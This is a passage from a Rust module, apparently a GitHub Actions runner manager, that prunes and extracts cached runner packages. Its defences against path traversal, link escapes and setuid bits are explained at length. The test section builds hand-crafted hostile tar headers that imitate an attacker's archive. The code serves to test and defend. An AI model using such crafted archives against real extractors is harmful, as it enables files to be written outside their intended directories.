1836    ///
1837    /// Stated rather than silently assumed, and stated here rather than
1838    /// enforced, which is a weaker position than this module takes at
1839    /// [`Self::lease`] — where the note argues that a documented invariant with
1840    /// no enforcement is how a property silently stops holding. The difference
1841    /// is that `lease` can check its invariant from inside a single call and
1842    /// this one cannot: the lock that would close this window is not this
1843    /// module's to take.
1844    ///
1845    /// # Errors
1846    /// [`PackageError::VersionInUse`],
1847    /// [`PackageError::VersionHeldByUnknownAttempt`],
1848    /// [`PackageError::NotInstalled`], or [`PackageError::Io`].
1849    pub(crate) fn prune(
1850        &self,
1851        version: &RunnerVersion,
1852        attempts: &[RunnerAttempt],
1853    ) -> Result<(), PackageError> {
1854        if self.entry(version)?.is_none() {
1855            return Err(PackageError::NotInstalled {
1856                version: version.clone(),
1857            });
1858        }
1859        let holders = self.holders(version)?;
1860        for holder in &holders {
1861            match attempts.iter().find(|attempt| attempt.id == *holder) {
1862                Some(attempt) if attempt.counts_against_capacity() => {
1863                    return Err(PackageError::VersionInUse {
1864                        version: version.clone(),
1865                        attempt: *holder,
1866                        state: attempt.state(),
1867                    });
1868                }
1869                Some(_) => {}
1870                None => {
1871                    return Err(PackageError::VersionHeldByUnknownAttempt {
1872                        version: version.clone(),
1873                        attempt: *holder,
1874                    });
1875                }
1876            }
1877        }
1878
1879        let dir = self.version_dir(version);
1880        remove_dir_all::remove_dir_all(&dir).map_err(|source| PackageError::Io {
1881            what: "remove a cached runner package",
1882            path: dir,
1883            source,
1884        })?;
1885        // The holders no longer own execution resources, so their leases are spent.
1886        for holder in holders {
1887            self.release(holder)?;
1888        }
1889        Ok(())
1890    }
1891
1892    // -- staging -----------------------------------------------------------
1893
1894    fn staging_root(&self) -> PathBuf {
1895        self.root.join(STAGING_DIR)
1896    }
1897
1898    /// Remove staging litter left by an interrupted install.
1899    ///
1900    /// Nothing under `.staging/` is ever part of an entry, so this is always
1901    /// safe to call. It is separate from installing because a sweep that ran
1902    /// automatically would race a concurrent install's staging directory.
1903    ///
1904    /// # Errors
1905    /// [`PackageError::Io`] when the staging root cannot be read.
1906    pub fn sweep_staging(&self) -> Result<usize, PackageError> {
1907        let root = self.staging_root();
1908        let entries = match fs::read_dir(&root) {
1909            Ok(entries) => entries,
1910            Err(source) if source.kind() == io::ErrorKind::NotFound => return Ok(0),
1911            Err(source) => {
1912                return Err(PackageError::Io {
1913                    what: "read the runner package staging area",
1914                    path: root,
1915                    source,
1916                });
1917            }
1918        };
1919        let mut swept = 0;
1920        for entry in entries.flatten() {
1921            let path = entry.path();
1922            // Both shapes live here: `download-<uuid>.archive` files and
1923            // `<uuid>/` extraction directories.
1924            let removed = if path.is_dir() {
1925                remove_dir_all::remove_dir_all(&path).is_ok()
1926            } else {
1927                fs::remove_file(&path).is_ok()
1928            };
1929            if removed {
1930                swept += 1;
1931            }
1932        }
1933        Ok(swept)
1934    }
1935}
1936
1937/// One attempt's hold on one version.
1938#[derive(Debug, Clone, Serialize, Deserialize)]
1939struct Lease {
1940    version: RunnerVersion,
1941}
1942
1943/// Removes a staging directory unless the install committed it.
1944struct StagingGuard {
1945    dir: Option<PathBuf>,
1946}
1947
1948impl StagingGuard {
1949    fn new(dir: PathBuf) -> Self {
1950        Self { dir: Some(dir) }
1951    }
1952
1953    /// The entry landed (or was already there); the staging directory is now
1954    /// ordinary litter and is removed on the spot rather than on unwind.
1955    fn disarm_into_sweep(mut self) {
1956        if let Some(dir) = self.dir.take() {
1957            let _ = remove_dir_all::remove_dir_all(dir);
1958        }
1959    }
1960}
1961
1962impl Drop for StagingGuard {
1963    fn drop(&mut self) {
1964        if let Some(dir) = self.dir.take() {
1965            let _ = remove_dir_all::remove_dir_all(dir);
1966        }
1967    }
1968}
1969
1970// ---------------------------------------------------------------------------
1971// Extraction
1972// ---------------------------------------------------------------------------
1973
1974/// Extract a verified archive into a fresh directory.
1975///
1976/// The digest has already matched by the time this runs, so these are the bytes
1977/// GitHub published. The containment checks below are defence in depth, not the
1978/// primary control — but they are cheap, and what they prevent is an archive
1979/// writing outside the directory it was given.
1980fn extract(archive: &Path, kind: ArchiveKind, into: &Path) -> Result<(), PackageError> {
1981    create_dir_all(into)?;
1982    match kind {
1983        ArchiveKind::Zip => extract_zip(archive, into),
1984        ArchiveKind::TarGz => extract_tar_gz(archive, into),
1985    }
1986}
1987
1988fn extract_zip(archive: &Path, into: &Path) -> Result<(), PackageError> {
1989    let file = fs::File::open(archive).map_err(|source| PackageError::Io {
1990        what: "open the runner package archive",
1991        path: archive.to_path_buf(),
1992        source,
1993    })?;
1994    let mut zip = zip::ZipArchive::new(file).map_err(|error| PackageError::Extract {
1995        detail: error.to_string(),
1996    })?;
1997
1998    for index in 0..zip.len() {
1999        let mut entry = zip.by_index(index).map_err(|error| PackageError::Extract {
2000            detail: error.to_string(),
2001        })?;
2002        let raw_name = entry.name().to_string();
2003        // `enclosed_name` answers `None` for an absolute path, a drive prefix,
2004        // or any `..` component. Our own containment check follows it because
2005        // the two disagree on nothing and agreeing twice is the point.
2006        let relative = entry
2007            .enclosed_name()
2008            .ok_or_else(|| PackageError::UnsafeArchiveEntry {
2009                entry: raw_name.clone(),
2010            })?;
2011        let Some(destination) = entry_destination(into, &relative, &raw_name)? else {
2012            continue;
2013        };
2014
2015        if entry.is_dir() {
2016            create_dir_all(&destination)?;
2017            // The zip path used to `continue` here and never reach the policy,
2018            // so a directory published world-writable or setgid kept it.
2019            apply_mode_policy(&destination, intended_mode(true, entry.unix_mode()))?;
2020            continue;
2021        }
2022        if entry.is_symlink() {
2023            // Windows packages are the `.zip` ones and contain no symlinks. A
2024            // link here would be a shape this agent has never seen from GitHub,
2025            // and creating it needs a privilege the agent should not want.
2026            return Err(PackageError::UnsafeArchiveEntry { entry: raw_name });
2027        }
2028        if let Some(parent) = destination.parent() {
2029            create_dir_all(parent)?;
2030        }
2031        let mut out = fs::File::create(&destination).map_err(|source| PackageError::Io {
2032            what: "create an extracted runner package file",
2033            path: destination.clone(),
2034            source,
2035        })?;
2036        io::copy(&mut entry, &mut out).map_err(|source| PackageError::Io {
2037            what: "write an extracted runner package file",
2038            path: destination.clone(),
2039            source,
2040        })?;
2041        apply_mode_policy(&destination, intended_mode(false, entry.unix_mode()))?;
2042    }
2043    Ok(())
2044}
2045
2046fn extract_tar_gz(archive: &Path, into: &Path) -> Result<(), PackageError> {
2047    let file = fs::File::open(archive).map_err(|source| PackageError::Io {
2048        what: "open the runner package archive",
2049        path: archive.to_path_buf(),
2050        source,
2051    })?;
2052    let mut tar = tar::Archive::new(flate2::read::GzDecoder::new(file));
2053    let entries = tar.entries().map_err(|source| PackageError::Extract {
2054        detail: source.to_string(),
2055    })?;
2056    for entry in entries {
2057        let mut entry = entry.map_err(|source| PackageError::Extract {
2058            detail: source.to_string(),
2059        })?;
2060
2061        // Everything is read out of the header up front: `entry` is borrowed
2062        // mutably below, and a `Cow` borrowed from it cannot survive that.
2063        let relative = entry
2064            .path()
2065            .map_err(|source| PackageError::Extract {
2066                detail: source.to_string(),
2067            })?
2068            .into_owned();
2069        let display = relative.display().to_string();
2070        let kind = entry.header().entry_type();
2071        let mode = entry
2072            .header()
2073            .mode()
2074            .map_err(|source| PackageError::Extract {
2075                detail: source.to_string(),
2076            })?;
2077        let link_target = entry
2078            .link_name()
2079            .map_err(|source| PackageError::Extract {
2080                detail: source.to_string(),
2081            })?
2082            .map(|target| target.into_owned());
2083
2084        // This module's own containment check, before `tar`'s. Its result is
2085        // load-bearing rather than discarded: `destination` is what the mode
2086        // policy is applied to below, so removing this call does not compile.
2087        let Some(destination) = entry_destination(into, &relative, &display)? else {
2088            // `.` or `./`, the archive's own root. Skipped before `unpack_in`,
2089            // which would otherwise set the extraction root's mode itself.
2090            continue;
2091        };
2092
2093        // A link's *target* is a second path, and `tar` does not check it
2094        // against the extraction root. An unvalidated one is the classic
2095        // archive escape: a link out of the tree, then a later entry written
2096        // through it. `extract_zip` refuses links outright because a Windows
2097        // package has never carried one and creating one needs a privilege
2098        // this agent should not want. That reasoning is Windows-specific, so
2099        // rather than copy the conclusion this path checks the target: a link
2100        // that stays inside the package is legitimate on Unix and is kept, and
2101        // one that reaches outside is refused.
2102        if matches!(kind, tar::EntryType::Symlink | tar::EntryType::Link) {
2103            let target =
2104                link_target
2105                    .as_deref()
2106                    .ok_or_else(|| PackageError::UnsafeArchiveEntry {
2107                        entry: display.clone(),
2108                    })?;
2109            resolve_link_target(into, &destination, kind, target, &display)?;
2110        }
2111
2112        // `tar`'s own mode handling has to be turned *down* here, not up.
2113        //
2114        // `set_preserve_permissions(true)` is weaker than the default, not
2115        // stronger: `Entry::_set_perms` computes
2116        // `let mode = if preserve { mode } else { mode & 0o777 }; mode & !mask`
2117        // with `mask` defaulting to zero, so preserving applies setuid, setgid,
2118        // sticky and world-writable bits exactly as published. On a package
2119        // fetched over the network that is the wrong direction. `false` drops
2120        // the top three bits and the mask drops every group and other bit, so
2121        // nothing dangerous exists on disk even momentarily; the policy below
2122        // then sets the mode this agent actually intends.
2123        entry.set_preserve_permissions(false);
2124        entry.set_mask(0o077);
2125        let unpacked = entry
2126            .unpack_in(into)
2127            .map_err(|source| PackageError::Extract {
2128                detail: source.to_string(),
2129            })?;
2130        if !unpacked {
2131            return Err(PackageError::UnsafeArchiveEntry { entry: display });
2132        }
2133
2134        // Links are skipped: a symlink's own mode is meaningless, and
2135        // `set_permissions` follows the link and would change the target's.
2136        if !matches!(kind, tar::EntryType::Symlink | tar::EntryType::Link) {
2137            let is_directory = matches!(kind, tar::EntryType::Directory);
2138            apply_mode_policy(&destination, intended_mode(is_directory, Some(mode)))?;
2139        }
2140    }
2141    Ok(())
2142}
2143
2144/// Prove an archive link's target cannot reach outside the package.
2145///
2146/// A symlink's target is resolved relative to the link's own directory; a hard
2147/// link's is relative to the archive root. Both must land inside `into`, and an
2148/// absolute target is refused outright — nothing GitHub publishes needs one,
2149/// and it is the shape an escape takes.
2150fn resolve_link_target(
2151    into: &Path,
2152    entry_destination: &Path,
2153    kind: tar::EntryType,
2154    target: &Path,
2155    raw: &str,
2156) -> Result<(), PackageError> {
2157    let unsafe_entry = || PackageError::UnsafeArchiveEntry {
2158        entry: raw.to_string(),
2159    };
2160    if target.is_absolute() {
2161        return Err(unsafe_entry());
2162    }
2163    let mut resolved = if matches!(kind, tar::EntryType::Symlink) {
2164        entry_destination.parent().unwrap_or(into).to_path_buf()
2165    } else {
2166        into.to_path_buf()
2167    };
2168    for component in target.components() {
2169        match component {
2170            Component::Normal(part) => resolved.push(part),
2171            Component::CurDir => {}
2172            // Climbing is legitimate inside a package — `bin/current` may point
2173            // at `../run.sh` — so it is followed rather than refused, and the
2174            // containment check below is what decides.
2175            Component::ParentDir => {
2176                if !resolved.pop() {
2177                    return Err(unsafe_entry());
2178                }
2179            }
2180            Component::RootDir | Component::Prefix(_) => return Err(unsafe_entry()),
2181        }
2182    }
2183    if !is_inside(into, &resolved) {
2184        return Err(unsafe_entry());
2185    }
2186    Ok(())
2187}
2188
2189/// Where one archive entry lands, or `None` when it names the extraction root.
2190///
2191/// # Why a root entry is skipped rather than refused
2192///
2193/// An entry called `.` or `./` resolves to the extraction directory itself.
2194/// Left alone that hands the archive control over the mode of a directory this
2195/// module created and owns — [`apply_mode_policy`] would chmod the root, and
2196/// `tar`'s own unpack would too. Not an escape, since the policy fails closed,
2197/// but not the archive's decision to make either.
2198///
2199/// Refusing it was the obvious fix and is the wrong one: `tar -C dir -czf
2200/// out.tgz .` emits exactly this entry for the archive's own root, so a refusal
2201/// would reject a perfectly ordinary package. The root already exists — it is
2202/// created at the top of [`extract`] — so there is nothing such an entry can
2203/// contribute and nothing lost by ignoring it. Skipping closes the hole
2204/// completely and cannot fail a legitimate archive.
2205///
2206/// This is the same trade as the link-target check in [`extract_tar_gz`]:
2207/// validate the dangerous property, do not refuse the shape.
2208fn entry_destination(
2209    root: &Path,
2210    relative: &Path,
2211    raw: &str,
2212) -> Result<Option<PathBuf>, PackageError> {
2213    let resolved = resolve_inside(root, relative, raw)?;
2214    if resolved == root {
2215        return Ok(None);
2216    }
2217    Ok(Some(resolved))
2218}
2219
2220/// The mode an extracted entry should end up with, or `None` to leave it alone.
2221///
2222/// Pure, and separated from the two extraction paths on purpose: it is the only
2223/// place the directory rule exists, and it can be asserted on a CI leg whose
2224/// filesystem has no mode bits.
2225///
2226/// **A directory always gets the executable bit.** `policy_mode` alone would
2227/// turn a published `0o644` directory into `0o600`, which the agent could not
2228/// then descend into — traversability is not the archive's to withhold. A
2229/// directory with no published mode at all (a zip written on Windows) gets the
2230/// same answer rather than being left at whatever `create_dir_all` chose.
2231fn intended_mode(is_directory: bool, published: Option<u32>) -> Option<u32> {
2232    if is_directory {
2233        return Some(policy_mode(published.unwrap_or(0o700) | 0o100));
2234    }
2235    published.map(policy_mode)
2236}
2237
2238/// Join `relative` onto `root` and prove the result stays inside it.
2239fn resolve_inside(root: &Path, relative: &Path, raw: &str) -> Result<PathBuf, PackageError> {
2240    let unsafe_entry = || PackageError::UnsafeArchiveEntry {
2241        entry: raw.to_string(),
2242    };
2243    if relative.is_absolute() {
2244        return Err(unsafe_entry());
2245    }
2246    let mut resolved = root.to_path_buf();
2247    for component in relative.components() {
2248        match component {
2249            Component::Normal(part) => resolved.push(part),
2250            // `.` is harmless but carries no information; everything else —
2251            // `..`, a root, a drive prefix — is an escape attempt or a shape
2252            // this module refuses to guess about.
2253            Component::CurDir => {}
2254            Component::ParentDir | Component::RootDir | Component::Prefix(_) => {
2255                return Err(unsafe_entry());
2256            }
2257        }
2258    }
2259    if !is_inside(root, &resolved) {
2260        return Err(unsafe_entry());
2261    }
2262    Ok(resolved)
2263}
2264
2265/// Whether `candidate` is `root` itself or lies beneath it, lexically.
2266///
2267/// Lexical on purpose: it must answer for paths that do not exist yet — an
2268/// archive entry's destination, an attempt's runtime directory before `e3`
2269/// creates it — and `canonicalize` cannot.
2270///
2271/// # Known limit
2272///
2273/// Components are compared byte-exactly, so on Windows a path differing from
2274/// the root only in case, or reaching it through an 8.3 short name, is not
2275/// recognised as inside. That would weaken [`PackageCache::lease`]'s workspace
2276/// guard, which is the caller that matters. It is latent rather than live:
2277/// every path on both sides of that comparison is derived from the same
2278/// [`AppPaths`] instance, so the spellings match by construction. Case-folding
2279/// here would be wrong for the archive-entry caller, where two entries
2280/// differing only in case are two entries — closing it properly means a
2281/// platform-aware comparison, not a `to_lowercase`.
2282fn is_inside(root: &Path, candidate: &Path) -> bool {
2283    let normalise = |path: &Path| -> Vec<std::ffi::OsString> {
2284        path.components()
2285            .filter_map(|component| match component {
2286                Component::Normal(part) => Some(part.to_os_string()),
2287                Component::RootDir => Some(std::ffi::OsString::from("/")),
2288                Component::Prefix(prefix) => Some(prefix.as_os_str().to_os_string()),
2289                Component::CurDir | Component::ParentDir => None,
2290            })
2291            .collect()
2292    };
2293    // A `..` anywhere in the candidate means the lexical answer is not
2294    // trustworthy, so refuse to claim containment.
2295    if candidate
2296        .components()
2297        .any(|c| matches!(c, Component::ParentDir))
2298    {
2299        return false;
2300    }
2301    let root = normalise(root);
2302    let candidate = normalise(candidate);
2303    candidate.len() >= root.len() && candidate[..root.len()] == root[..]
2304}
2305
2306/// The only mode this agent ever applies to something it extracted.
2307///
2308/// **A mode published in an archive is not a security decision this agent
2309/// delegates.** Exactly one bit group is honoured — the executable bits,
2310/// because the runner's `run.sh`, `config.sh` and `bin/*` are useless without
2311/// them — and the owner gets read and write so the tree is usable. Everything
2312/// else is dropped: setuid and setgid, which would turn a downloaded package
2313/// into a privilege escalation; the sticky bit; and every group and other bit,
2314/// which would let another account on the machine rewrite the binaries every
2315/// future runner is launched from.
2316///
2317/// The result is **owner-only**, matching the `0700` posture `d1` already uses
2318/// for every directory it creates. Writing this as `(published & 0o111) |
2319/// 0o600` looks equivalent and is not: it carries the *group and other*
2320/// execute bits straight through from the archive, so a published `0755` would
2321/// leave every account on the machine able to execute the runner binaries. The
2322/// archive's only say here is whether the file is executable at all.
2323///
2324/// Deliberately **not** `cfg`-gated and deliberately pure, so the policy has
2325/// one definition, both extraction paths reach the same one, and it can be
2326/// asserted on a CI leg whose filesystem has no modes at all.
2327const fn policy_mode(published: u32) -> u32 {
2328    if published & 0o111 == 0 { 0o600 } else { 0o700 }
2329}
2330
2331/// Apply [`policy_mode`] to something just extracted.
2332///
2333/// One function rather than a `cfg`-gated pair, so [`policy_mode`] is reached
2334/// on every target. As two functions the Windows build never called it, and
2335/// `-D warnings` failed the Windows leg on dead code — a small thing, but it
2336/// pointed at a real one: a security policy that is compiled out on a platform
2337/// is a policy nobody can be sure still exists there.
2338fn apply_mode_policy(path: &Path, mode: Option<u32>) -> Result<(), PackageError> {
2339    let Some(published) = mode else { return Ok(()) };
2340    let mode = policy_mode(published);
2341    #[cfg(unix)]
2342    {
2343        use std::os::unix::fs::PermissionsExt as _;
2344        fs::set_permissions(path, fs::Permissions::from_mode(mode)).map_err(|source| {
2345            PackageError::Io {
2346                what: "set permissions on an extracted runner package file",
2347                path: path.to_path_buf(),
2348                source,
2349            }
2350        })
2351    }
2352    #[cfg(not(unix))]
2353    {
2354        // Windows has no mode bits to apply, and the `.zip` packages are the
2355        // Windows ones — which is exactly why the policy has to be enforced on
2356        // the `.tar.gz` path, the one that runs where modes exist.
2357        let _ = (path, mode);
2358        Ok(())
2359    }
2360}
2361
2362// ---------------------------------------------------------------------------
2363// Small filesystem helpers
2364// ---------------------------------------------------------------------------
2365
2366/// Remove a file, treating "it was not there" as success.
2367///
2368/// Any other failure is reported: a download that could not be deleted is a
2369/// package sitting unverified on the operator's disk, which is worth a word.
2370fn remove_file_if_present(path: &Path, what: &'static str) -> Result<(), PackageError> {
2371    match fs::remove_file(path) {
2372        Ok(()) => Ok(()),
2373        Err(source) if source.kind() == io::ErrorKind::NotFound => Ok(()),
2374        Err(source) => Err(PackageError::Io {
2375            what,
2376            path: path.to_path_buf(),
2377            source,
2378        }),
2379    }
2380}
2381
2382fn create_dir_all(path: &Path) -> Result<(), PackageError> {
2383    fs::create_dir_all(path).map_err(|source| PackageError::Io {
2384        what: "create a runner package cache directory",
2385        path: path.to_path_buf(),
2386        source,
2387    })
2388}
2389
2390fn write_json<T: Serialize>(path: &Path, value: &T) -> Result<(), PackageError> {
2391    let encoded = serde_json::to_vec_pretty(value).map_err(|error| PackageError::Extract {
2392        detail: format!("the package manifest could not be encoded: {error}"),
2393    })?;
2394    fs::write(path, encoded).map_err(|source| PackageError::Io {
2395        what: "write a runner package cache file",
2396        path: path.to_path_buf(),
2397        source,
2398    })
2399}
2400
2401/// Which attempt one lease file records as holding `version`, if any.
2402///
2403/// Split out of [`PackageCache::holders`] so the three answers can be asserted
2404/// directly. The middle one is a race that only a seam like this can be shown
2405/// to handle: a lease file listed and then gone cannot be produced on demand
2406/// from outside, but it is exactly what a concurrent [`PackageCache::release`]
2407/// leaves behind.
2408///
2409/// * **Gone** — `Ok(None)`. The directory was listed a moment ago, so a lease
2410///   that has since disappeared was released in between. That is an ordinary
2411///   race and precisely the outcome a prune is waiting for. Reporting it as
2412///   [`PackageError::UnreadableLease`] would make `prune` refuse for a reason
2413///   that is not true and send the operator to inspect a file that is not
2414///   there.
2415/// * **Present and unintelligible** — `Err`. Unreadable is not "nothing holds
2416///   this", and a lease is written non-atomically, so a crash mid-write leaves
2417///   exactly this shape. Fails closed.
2418/// * **Present and readable** — `Ok(Some(id))` when it names `version`.
2419///
2420/// # Errors
2421/// [`PackageError::UnreadableLease`] for a file whose name is not an attempt
2422/// identifier or whose contents do not parse, [`PackageError::Io`] otherwise.
2423fn holder_of(path: &Path, version: &RunnerVersion) -> Result<Option<AttemptId>, PackageError> {
2424    let unreadable = || PackageError::UnreadableLease {
2425        path: path.to_path_buf(),
2426    };
2427    let uuid = path
2428        .file_stem()
2429        .and_then(|stem| stem.to_str())
2430        .and_then(|stem| uuid::Uuid::parse_str(stem).ok())
2431        .ok_or_else(unreadable)?;
2432    let Some(lease) = read_lease(path)? else {
2433        return Ok(None);
2434    };
2435    Ok((lease.version == *version).then(|| AttemptId::from_uuid(uuid)))
2436}
2437
2438/// Reads one lease, strictly.
2439///
2440/// The counterpart of [`read_json`], and deliberately not the same policy.
2441/// `read_json` treats a corrupt file as absent, which is right for a
2442/// **manifest**: the fallback there is "this directory is not an entry", and
2443/// the caller's next move is the same either way. It is wrong for a **lease**,
2444/// where the fallback would be "nothing holds this version" — the most
2445/// dangerous answer this module can give, and the one thing that would make an
2446/// otherwise fail-closed prune guard fail open.
2447///
2448/// # Errors
2449/// [`PackageError::UnreadableLease`] when the file exists and does not parse,
2450/// [`PackageError::Io`] when it cannot be read at all.
2451fn read_lease(path: &Path) -> Result<Option<Lease>, PackageError> {
2452    let bytes = match fs::read(path) {
2453        Ok(bytes) => bytes,
2454        Err(source) if source.kind() == io::ErrorKind::NotFound => return Ok(None),
2455        Err(source) => {
2456            return Err(PackageError::Io {
2457                what: "read a runner package lease",
2458                path: path.to_path_buf(),
2459                source,
2460            });
2461        }
2462    };
2463    serde_json::from_slice(&bytes)
2464        .map(Some)
2465        .map_err(|_| PackageError::UnreadableLease {
2466            path: path.to_path_buf(),
2467        })
2468}
2469
2470/// Reads a JSON file, answering `None` when it is absent or unreadable as `T`.
2471///
2472/// A corrupt manifest reads as "not an entry" rather than as an error: the
2473/// caller's next move is the same either way — treat the directory as not
2474/// installed — and a cache that refuses to answer at all because one directory
2475/// is damaged is worse than one that ignores it.
2476fn read_json<T: for<'de> Deserialize<'de>>(path: &Path) -> Result<Option<T>, PackageError> {
2477    let bytes = match fs::read(path) {
2478        Ok(bytes) => bytes,
2479        Err(source) if source.kind() == io::ErrorKind::NotFound => return Ok(None),
2480        Err(source) => {
2481            return Err(PackageError::Io {
2482                what: "read a runner package cache file",
2483                path: path.to_path_buf(),
2484                source,
2485            });
2486        }
2487    };
2488    Ok(serde_json::from_slice(&bytes).ok())
2489}
2490
2491// ---------------------------------------------------------------------------
2492// Tests
2493// ---------------------------------------------------------------------------
2494
2495#[cfg(test)]
2496mod tests {
2497    use super::*;
2498
2499    use std::io::Write as _;
2500    use std::sync::atomic::{AtomicUsize, Ordering};
2501
2502    use runner_manager_domain::attempt::AttemptState;
2503    use runner_manager_testkit::clock::FakeClock;
2504    use runner_manager_testkit::fixtures;
2505    use runner_manager_testkit::github as gh;
2506
2507    // -- archive fixtures --------------------------------------------------
2508
2509    /// A real `.zip`, built in memory.
2510    fn zip_bytes(entries: &[(&str, &str)]) -> Vec<u8> {
2511        let mut writer = zip::ZipWriter::new(io::Cursor::new(Vec::new()));
2512        let options = zip::write::SimpleFileOptions::default();
2513        for (name, body) in entries {
2514            writer
2515                .start_file(*name, options)
2516                .expect("start a zip entry");
2517            writer
2518                .write_all(body.as_bytes())
2519                .expect("write a zip entry");
2520        }
2521        writer.finish().expect("finish the zip").into_inner()
2522    }
2523
2524    /// A real `.zip` whose entries carry explicit unix modes.
2525    ///
2526    /// A name ending in `/` becomes a directory entry, which is how a zip
2527    /// records one and is the case the mode policy used to skip.
2528    fn zip_bytes_with_modes(entries: &[(&str, &str, Option<u32>)]) -> Vec<u8> {
2529        let mut writer = zip::ZipWriter::new(io::Cursor::new(Vec::new()));
2530        for (name, body, mode) in entries {
2531            let mut options = zip::write::SimpleFileOptions::default();
2532            if let Some(mode) = mode {
2533                options = options.unix_permissions(*mode);
2534            }
2535            if name.ends_with('/') {
2536                writer
2537                    .add_directory(name.trim_end_matches('/'), options)
2538                    .expect("start a zip directory");
2539            } else {
2540                writer
2541                    .start_file(*name, options)
2542                    .expect("start a zip entry");
2543                writer
2544                    .write_all(body.as_bytes())
2545                    .expect("write a zip entry");
2546            }
2547        }
2548        writer.finish().expect("finish the zip").into_inner()
2549    }
2550
2551    /// A real `.tar.gz`, built in memory.
2552    fn tar_gz_bytes(entries: &[(&str, &str)]) -> Vec<u8> {
2553        let encoder = flate2::write::GzEncoder::new(Vec::new(), flate2::Compression::fast());
2554        let mut builder = tar::Builder::new(encoder);
2555        for (name, body) in entries {
2556            let mut header = tar::Header::new_gnu();
2557            header.set_size(body.len() as u64);
2558            header.set_mode(0o644);
2559            header.set_cksum();
2560            builder
2561                .append_data(&mut header, name, body.as_bytes())
2562                .expect("append a tar entry");
2563        }
2564        builder
2565            .into_inner()
2566            .expect("finish the tar")
2567            .finish()
2568            .expect("finish the gzip")
2569    }
2570
2571    /// A `.tar.gz` carrying an entry name that `tar::Builder` refuses to write.
2572    ///
2573    /// `append_data` rejects a path containing `..` outright — "paths in
2574    /// archives must not have `..`" — which is a fine default and a useless
2575    /// fixture: an attacker does not use `tar::Builder`. The header is
2576    /// therefore filled in by hand and appended raw, so the archive under test
2577    /// is the archive a hostile producer would actually emit.
2578    fn tar_gz_with_raw_name(name: &str, body: &str) -> Vec<u8> {
2579        let mut header = tar::Header::new_gnu();
2580        header.set_size(body.len() as u64);
2581        header.set_mode(0o644);
2582        header.set_entry_type(tar::EntryType::Regular);
2583        {
2584            let gnu = header.as_gnu_mut().expect("a GNU header");
2585            let bytes = name.as_bytes();
2586            assert!(bytes.len() < gnu.name.len(), "the fixture name must fit");
2587            gnu.name[..bytes.len()].copy_from_slice(bytes);
2588        }
2589        header.set_cksum();
2590
2591        let encoder = flate2::write::GzEncoder::new(Vec::new(), flate2::Compression::fast());
2592        let mut builder = tar::Builder::new(encoder);
2593        builder
2594            .append(&header, body.as_bytes())
2595            .expect("append a raw tar entry");
2596        builder
2597            .into_inner()
2598            .expect("finish the tar")
2599            .finish()
2600            .expect("finish the gzip")
2601    }
2602
2603    /// A `.tar.gz` carrying one entry with an exact mode and entry type.
2604    ///
2605    /// `tar::Header::set_mode` writes the value verbatim with no masking, which
2606    /// is what lets a fixture carry a setuid bit — the thing a published
2607    /// archive could carry and this module must refuse to apply.
2608    fn tar_gz_special(
2609        name: &str,
2610        body: &str,
2611        mode: u32,
2612        kind: tar::EntryType,
2613        link_target: Option<&str>,
2614    ) -> Vec<u8> {
2615        let is_link = matches!(kind, tar::EntryType::Symlink | tar::EntryType::Link);
2616        let mut header = tar::Header::new_gnu();
2617        header.set_size(if is_link { 0 } else { body.len() as u64 });
2618        header.set_mode(mode);
2619        header.set_entry_type(kind);
2620        if let Some(target) = link_target {
2621            header
2622                .set_link_name_literal(target)
2623                .expect("a raw link target");
2624        }
2625        {
2626            let gnu = header.as_gnu_mut().expect("a GNU header");
2627            let bytes = name.as_bytes();
2628            assert!(bytes.len() < gnu.name.len(), "the fixture name must fit");
2629            gnu.name[..bytes.len()].copy_from_slice(bytes);
2630        }
2631        header.set_cksum();
2632
2633        let encoder = flate2::write::GzEncoder::new(Vec::new(), flate2::Compression::fast());
2634        let mut builder = tar::Builder::new(encoder);
2635        let data: &[u8] = if is_link { &[] } else { body.as_bytes() };
2636        builder
2637            .append(&header, data)
2638            .expect("append a raw tar entry");
2639        builder
2640            .into_inner()
2641            .expect("finish the tar")
2642            .finish()
2643            .expect("finish the gzip")
2644    }
2645
2646    /// Read one entry's header back out of a `.tar.gz`.
2647    ///
2648    /// Every fixture below is checked through this before it is used. A test
2649    /// that asserts "the setuid bit was not applied" proves nothing if the
2650    /// fixture never carried one.
2651    fn first_entry_header(bytes: &[u8]) -> (u32, tar::EntryType, Option<PathBuf>) {
2652        let mut archive = tar::Archive::new(flate2::read::GzDecoder::new(io::Cursor::new(
2653            bytes.to_vec(),
2654        )));
2655        let mut entries = archive.entries().expect("entries");
2656        let entry = entries
2657            .next()
2658            .expect("one entry")
2659            .expect("a readable entry");
2660        let link = entry
2661            .link_name()
2662            .expect("a link name field")
2663            .map(|path| path.into_owned());
2664        let header = entry.header();
2665        (header.mode().expect("a mode"), header.entry_type(), link)
2666    }
2667
2668    /// The two entries every fixture package carries.
2669    fn package_entries() -> Vec<(&'static str, &'static str)> {
2670        vec![
2671            ("run.sh", "#!/bin/sh\necho runner\n"),
2672            ("bin/Runner.Listener", "listener\n"),
2673        ]
2674    }
2675
2676    fn hex_digest(bytes: &[u8]) -> String {
2677        let mut hasher = Sha256::new();
2678        hasher.update(bytes);
2679        hex::encode(hasher.finalize())
2680    }
2681
2682    /// Build one published-download record.
2683    fn published(
2684        os: &str,
2685        arch: &str,
2686        version: &str,
2687        extension: &str,
2688        digest: Option<&str>,
2689    ) -> RunnerDownload {
2690        let filename = format!("actions-runner-{os}-{arch}-{version}{extension}");
2691        RunnerDownload {
2692            os: os.to_string(),
2693            architecture: arch.to_string(),
2694            download_url: format!(
2695                "https://github.com/actions/runner/releases/download/v{version}/{filename}"
2696            ),
2697            filename,
2698            sha256_checksum: digest.map(str::to_string),
2699        }
2700    }
2701
2702    // -- fake ports --------------------------------------------------------
2703
2704    #[derive(Debug, Clone)]
2705    enum Answer {
2706        Downloads(Vec<RunnerDownload>),
2707        Rejected,
2708        Unavailable,
2709    }
2710
2711    #[derive(Debug)]
2712    struct FakeCatalog {
2713        answer: Mutex<Answer>,
2714        calls: AtomicUsize,
2715    }
2716
2717    impl FakeCatalog {
2718        fn with(downloads: Vec<RunnerDownload>) -> Arc<Self> {
2719            Self::answering(Answer::Downloads(downloads))
2720        }
2721
2722        fn answering(answer: Answer) -> Arc<Self> {
2723            Arc::new(Self {
2724                answer: Mutex::new(answer),
2725                calls: AtomicUsize::new(0),
2726            })
2727        }
2728
2729        fn publish(&self, downloads: Vec<RunnerDownload>) {
2730            *self.answer.lock().unwrap() = Answer::Downloads(downloads);
2731        }
2732
2733        fn calls(&self) -> usize {
2734            self.calls.load(Ordering::SeqCst)
2735        }
2736    }
2737
2738    #[async_trait::async_trait]
2739    impl DownloadCatalog for FakeCatalog {
2740        async fn published(&self) -> Result<RunnerDownloads, PackageError> {
